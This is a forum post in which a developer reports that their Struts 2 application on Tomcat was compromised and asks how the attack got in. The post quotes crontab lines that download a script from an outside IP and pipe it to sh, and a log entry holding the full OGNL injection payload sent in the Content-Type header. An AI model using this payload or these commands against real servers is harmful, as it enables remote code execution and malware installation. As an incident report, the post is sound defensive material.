Linux – Shell script attack on Apache server, via an cron of unknown origin

While running a project war on Apache tomcat server I found that the server has been compromised.

While running the war on an unknown cron is running like this

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

The downloaded logo.jpg has a shell script which is downloading a malware.

I found a similar issue on this website below

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

and

https://security.stackexchange.com/questions/160068/kworker34-malware-on-linux

I am unable to find the origin of this cron scheduler in my whole code.

What I wish to know that has anyone faced this issue?
and how should I go about finding the origin of the scheduler in code.

Note:

I am working on a JAVA(Struts 2)+jsp+javascript+jquery web project.

This scheduler is running every time I am starting my tomcat with the war file of the project, but I am not able to find any scheduler for scheduler in my code.

I have found the following line in my log files

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult